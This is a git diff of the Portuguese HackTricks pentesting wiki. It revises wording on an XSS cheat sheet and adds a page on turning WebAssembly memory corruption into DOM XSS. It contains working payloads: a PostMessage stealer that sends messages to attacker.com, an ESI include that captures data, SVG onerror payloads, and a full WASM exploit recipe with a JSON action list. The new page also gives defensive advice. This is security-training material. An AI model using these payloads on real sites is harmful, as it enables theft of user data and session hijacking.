@ -1462,7 +1474,7 @@ changeReq.send('csrf='+token+'&email=test@test.com')
|
||||
};
|
||||
</script>
|
||||
```
|
||||
### Roubando mensagens PostMessage
|
||||
### Roubando mensagens do PostMessage
|
||||
```html
|
||||
<img src="https://attacker.com/?" id=message>
|
||||
<script>
|
||||
@ -1470,7 +1482,7 @@ window.onmessage = function(e){
|
||||
document.getElementById("message").src += "&"+e.data;
|
||||
</script>
|
||||
```
|
||||
### Abusar de Service Workers
|
||||
### Abusando de Service Workers
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -1491,7 +1503,7 @@ shadow-dom.md
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
|
||||
{{#endref}}
|
||||
|
||||
### Payloads para Blind XSS
|
||||
### Blind XSS payloads
|
||||
|
||||
Você também pode usar: [https://xsshunter.com/](https://xsshunter.com)
|
||||
```html
|
||||
@ -1560,7 +1572,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
|
||||
```
|
||||
### Regex - Acessar Conteúdo Oculto
|
||||
|
||||
A partir de [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) é possível aprender que, mesmo que alguns valores desapareçam do JS, ainda é possível encontrá-los em atributos JS em diferentes objetos. Por exemplo, um input de um REGEX ainda pode ser encontrado depois que o valor do input do regex foi removido:
|
||||
A partir de [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) é possível aprender que, mesmo que alguns valores desapareçam do JS, ainda é possível encontrá-los em atributos JS de diferentes objetos. Por exemplo, um input de um REGEX ainda pode ser encontrado depois que o valor do input do regex foi removido:
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag = "CTF{FLAG}"
|
||||
@ -1577,18 +1589,18 @@ console.log(
|
||||
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
|
||||
)
|
||||
```
|
||||
### Brute-Force List
|
||||
### Lista de Brute-Force
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
|
||||
{{#endref}}
|
||||
|
||||
## XSS Abusando outras vulnerabilidades
|
||||
## XSS Explorando outras vulnerabilidades
|
||||
|
||||
### XSS em Markdown
|
||||
|
||||
É possível injetar código Markdown que será renderizado? Talvez você consiga XSS! Confira:
|
||||
É possível injetar código Markdown que será renderizado? Talvez você consiga XSS! Veja:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -1597,24 +1609,24 @@ xss-in-markdown.md
|
||||
|
||||
### XSS para SSRF
|
||||
|
||||
Obteve XSS em um **site que usa caching**? Tente **transformar isso em SSRF** através de Edge Side Include Injection com este payload:
|
||||
Tem XSS em um **site que usa caching**? Tente **elevar isso para SSRF** através de Edge Side Include Injection com este payload:
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
Use-o para contornar restrições de cookie, filtros XSS e muito mais!\
|
||||
Mais informações sobre esta técnica aqui: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
More information about this technique here: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
|
||||
### XSS em PDF criado dinamicamente
|
||||
|
||||
Se uma página web está criando um PDF usando input controlado pelo usuário, você pode tentar **enganar o bot** que está criando o PDF para **executar código JS arbitrário**.\
|
||||
Assim, se o **bot criador de PDF encontrar** algum tipo de **HTML** **tags**, ele vai **interpretá-las**, e você pode **abusar** desse comportamento para causar um **Server XSS**.
|
||||
Se uma página web está criando um PDF usando entrada controlada pelo usuário, você pode tentar **enganar o bot** que está criando o PDF para **executar código JS arbitrário**.\
|
||||
Então, se o **bot criador de PDF encontra** algum tipo de **HTML** **tags**, ele vai **interpretá-las**, e você pode **abusar** desse comportamento para causar um **Server XSS**.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
server-side-xss-dynamic-pdf.md
|
||||
{{#endref}}
|
||||
|
||||
Se você não conseguir injetar **HTML** **tags**, pode valer a pena tentar **injetar dados PDF**:
|
||||
Se você não puder injetar **tags HTML** pode valer a pena tentar **injetar dados PDF**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -1623,13 +1635,13 @@ pdf-injection.md
|
||||
|
||||
### XSS em Amp4Email
|
||||
|
||||
AMP, destinado a acelerar o desempenho de páginas web em dispositivos móveis, incorpora **HTML** tags suplementadas por **JavaScript** para garantir funcionalidade com ênfase em velocidade e segurança. Ele suporta uma variedade de componentes para recursos diversos, acessíveis via [AMP components](https://amp.dev/documentation/components/?format=websites).
|
||||
AMP, destinado a acelerar o desempenho de páginas web em dispositivos móveis, incorpora tags HTML complementadas por JavaScript para garantir funcionalidade com ênfase em velocidade e segurança. Ele suporta uma variedade de componentes para vários recursos, acessíveis via [AMP components](https://amp.dev/documentation/components/?format=websites).
|
||||
|
||||
O formato [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) estende componentes AMP específicos para emails, permitindo que os destinatários interajam com o conteúdo diretamente dentro dos seus emails.
|
||||
O formato [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) estende componentes AMP específicos para emails, permitindo que os destinatários interajam com o conteúdo diretamente dentro de seus emails.
|
||||
|
||||
Exemplo [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
### XSS ao enviar arquivos (svg)
|
||||
### XSS com upload de arquivos (svg)
|
||||
|
||||
Faça upload como imagem de um arquivo como o seguinte (de [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
```html
|
||||
@ -1687,7 +1699,7 @@ id="foo"/>
|
||||
```xml
|
||||
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
|
||||
```
|
||||
Encontre **mais payloads SVG em** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
Encontre **mais SVG payloads em** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
|
||||
## Truques JS Diversos & Informações Relevantes
|
||||
|
||||
@ -1707,7 +1719,7 @@ other-js-tricks.md
|
||||
|
||||
## Referências
|
||||
|
||||
- [De "Low-Impact" RXSS para Credential Stealer: Um walkthrough JS-in-JS](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
|
||||
- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
|
||||
- [MDN eval()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -0,0 +1,133 @@
|
||||
# WebAssembly linear memory corruption to DOM XSS (template overwrite)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Esta técnica mostra como um bug de memory-corruption dentro de um módulo WebAssembly (WASM) compilado com Emscripten pode ser transformado em um DOM XSS confiável mesmo quando a entrada é sanitizada. O pivô é corromper constantes graváveis na WASM linear memory (por exemplo, templates de formatação HTML) em vez de atacar a string de origem sanitizada.
|
||||
|
||||
Ideia chave: No modelo WebAssembly, o código vive em páginas executáveis não-graváveis, mas os dados do módulo (heap/stack/globals/"constants") vivem em uma única linear memory plana (pages of 64KB) que é gravável pelo módulo. Se código C/C++ com bug escrever fora dos limites, você pode sobrescrever objetos adjacentes e até mesmo strings constantes embutidas na linear memory. Quando tal constante é usada mais tarde para construir HTML para inserção via um DOM sink, você pode transformar entrada sanitizada em JavaScript executável.
|
||||
|
||||
Threat model and preconditions
|
||||
- Web app uses Emscripten glue (Module.cwrap) to call into a WASM module.
|
||||
- Application state lives in WASM linear memory (e.g., C structs with pointers/lengths to user buffers).
|
||||
- Input sanitizer encodes metacharacters before storage, but later rendering builds HTML using a format string stored in WASM linear memory.
|
||||
- There is a linear-memory corruption primitive (e.g., heap overflow, UAF, or unchecked memcpy).
|
||||
|
||||
Minimal vulnerable data model (example)
|
||||
```c
|
||||
typedef struct msg {
|
||||
char *msg_data; // pointer to message bytes
|
||||
size_t msg_data_len; // length after sanitization
|
||||
int msg_time; // timestamp
|
||||
int msg_status; // flags
|
||||
} msg;
|
||||
|
||||
typedef struct stuff {
|
||||
msg *mess; // dynamic array of msg
|
||||
size_t size; // used
|
||||
size_t capacity; // allocated
|
||||
} stuff; // global chat state in linear memory
|
||||
```
|
||||
Padrão lógico vulnerável
|
||||
- addMsg(): aloca um novo buffer com o tamanho da entrada sanitizada e anexa uma msg a s.mess, dobrando a capacidade com realloc quando necessário.
|
||||
- editMsg(): re-sanitiza e memcpy’s os novos bytes para o buffer existente sem garantir que o novo comprimento ≤ a alocação anterior → intra‑linear‑memory heap overflow.
|
||||
- populateMsgHTML(): formata o texto sanitizado com um stub embutido como "<article><p>%.*s</p></article>" que reside em linear memory. O HTML retornado é enviado para um DOM sink (por exemplo, innerHTML).
|
||||
|
||||
Allocator grooming with realloc()
|
||||
```c
|
||||
int add_msg_to_stuff(stuff *s, msg new_msg) {
|
||||
if (s->size >= s->capacity) {
|
||||
s->capacity *= 2;
|
||||
s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg));
|
||||
if (s->mess == NULL) exit(1);
|
||||
}
|
||||
s->mess[s->size++] = new_msg;
|
||||
return s->size - 1;
|
||||
}
|
||||
```
|
||||
- Envie mensagens suficientes para exceder a capacidade inicial. Depois do crescimento, realloc() frequentemente coloca s->mess imediatamente após o último user buffer na linear memory.
|
||||
- Transborde a última mensagem via editMsg() para corromper campos dentro de s->mess (e.g., overwrite msg_data pointers) → reescrita arbitrária de ponteiros dentro da linear memory para dados que serão renderizados depois.
|
||||
|
||||
Exploit pivot: sobrescrever o HTML template (sink) em vez da fonte sanitizada
|
||||
- Sanitização protege a entrada, não os sinks. Encontre o format stub usado por populateMsgHTML(), por exemplo:
|
||||
- "<article><p>%.*s</p></article>" → change to "<img src=1 onerror=%.*s>"
|
||||
- Localize o stub de forma determinística escaneando a linear memory; é uma string de bytes simples dentro de Module.HEAPU8.
|
||||
- Depois de sobrescrever o stub, o conteúdo da mensagem sanitizado torna-se o handler JavaScript para onerror, então adicionar uma nova mensagem com texto como alert(1337) gera <img src=1 onerror=alert(1337)> e executa imediatamente no DOM.
|
||||
|
||||
Chrome DevTools workflow (Emscripten glue)
|
||||
- Interrompa no primeiro Module.cwrap call no JS glue e entre no call site wasm para capturar argumentos de ponteiro (offsets numéricos na linear memory).
|
||||
- Utilize typed views como Module.HEAPU8 para ler/escrever a memória WASM a partir do console.
|
||||
- Snippets auxiliares:
|
||||
```javascript
|
||||
function writeBytes(ptr, byteArray){
|
||||
if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
|
||||
for(let i=0;i<byteArray.length;i++){
|
||||
const byte = byteArray[i];
|
||||
if(typeof byte!=="number"||byte<0||byte>255) throw new Error(`Invalid byte at index ${i}: ${byte}`);
|
||||
HEAPU8[ptr+i]=byte;
|
||||
}
|
||||
}
|
||||
function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); }
|
||||
function readBytesAsChars(ptr,len){
|
||||
const bytes=HEAPU8.subarray(ptr,ptr+len);
|
||||
return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join('');
|
||||
}
|
||||
function searchWasmMemory(str){
|
||||
const mem=Module.HEAPU8, pat=new TextEncoder().encode(str);
|
||||
for(let i=0;i<mem.length-pat.length;i++){
|
||||
let ok=true; for(let j=0;j<pat.length;j++){ if(mem[i+j]!==pat[j]){ ok=false; break; } }
|
||||
if(ok) console.log(`Found "${str}" at memory address:`, i);
|
||||
}
|
||||
console.log(`"${str}" not found in memory`);
|
||||
return -1;
|
||||
}
|
||||
const a = bytes => bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int
|
||||
```
|
||||
Receita de exploração ponta a ponta
|
||||
1) Groom: add N small messages to trigger realloc(). Ensure s->mess is adjacent to a user buffer.
|
||||
2) Overflow: call editMsg() on the last message with a longer payload to overwrite an entry in s->mess, setting msg_data of message 0 to point at (stub_addr + 1). The +1 skips the leading '<' to keep tag alignment intact during the next edit.
|
||||
3) Template rewrite: edit message 0 so its bytes overwrite the template with: "img src=1 onerror=%.*s ".
|
||||
4) Trigger XSS: add a new message whose sanitized content is JavaScript, e.g., alert(1337). Rendering emits <img src=1 onerror=alert(1337)> and executes.
|
||||
|
||||
Exemplo de lista de ações para serializar e colocar em ?s= (Codifique em Base64 com btoa antes de usar)
|
||||
```json
|
||||
[
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080},
|
||||
{"action":"edit","msgId":0,"content":"img src=1 onerror=%.*s ","time":1756885686080},
|
||||
{"action":"add","content":"alert(1337)","time":1756840476392}
|
||||
]
|
||||
```
|
||||
Por que este bypass funciona
|
||||
- WASM impede a execução de código a partir da linear memory, mas dados constantes dentro da linear memory são graváveis se a lógica do programa for falha.
|
||||
- O sanitizer protege apenas a string de origem; corrompendo o sink (o HTML template), a entrada sanitizada torna-se o JS handler value e é executada quando inserida no DOM.
|
||||
- Adjacência dirigida por realloc() somada a memcpy sem verificação em fluxos de edição permite corrupção de ponteiros para redirecionar escritas a endereços escolhidos pelo atacante dentro da linear memory.
|
||||
|
||||
Generalização e outras superfícies de ataque
|
||||
- Qualquer HTML template em memória, JSON skeleton ou padrão de URL embutido em linear memory pode ser alvo para alterar como dados sanitizados são interpretados downstream.
|
||||
- Outras armadilhas comuns do WASM: out-of-bounds writes/reads na linear memory, UAF em objetos do heap, function-table misuse com índices de chamada indireta sem verificação, e incompatibilidades no glue JS↔WASM.
|
||||
|
||||
Orientações defensivas
|
||||
- Em caminhos de edição, verifique new length ≤ capacity; redimensione buffers antes da cópia (realloc para new_len) ou use APIs com limite de tamanho (snprintf/strlcpy) e acompanhe a capacidade.
|
||||
- Mantenha templates imutáveis fora da linear memory gravável ou verifique sua integridade antes do uso.
|
||||
- Trate as fronteiras JS↔WASM como não confiáveis: valide ranges/comprimentos de ponteiros, fuzz as interfaces exportadas, e limite o crescimento da memória.
|
||||
- Realize a sanitização no sink: evite construir HTML em WASM; prefira APIs seguras do DOM ao invés de templating no estilo innerHTML.
|
||||
- Evite confiar em estado embutido na URL para fluxos privilegiados.
|
||||
|
||||
## References
|
||||
- [Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox](https://zoozoo-sec.github.io/blogs/PwningWasm-BreakingXssFilters/)
|
||||
- [V8: Wasm Compilation Pipeline](https://v8.dev/docs/wasm-compilation-pipeline)
|
||||
- [V8: Liftoff (baseline compiler)](https://v8.dev/blog/liftoff)
|
||||
- [Debugging WebAssembly in Chrome DevTools (YouTube)](https://www.youtube.com/watch?v=BTLLPnW4t5s&t)
|
||||
- [SSD: Intro to Chrome exploitation (WASM edition)](https://ssd-disclosure.com/an-introduction-to-chrome-exploitation-webassembly-edition/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user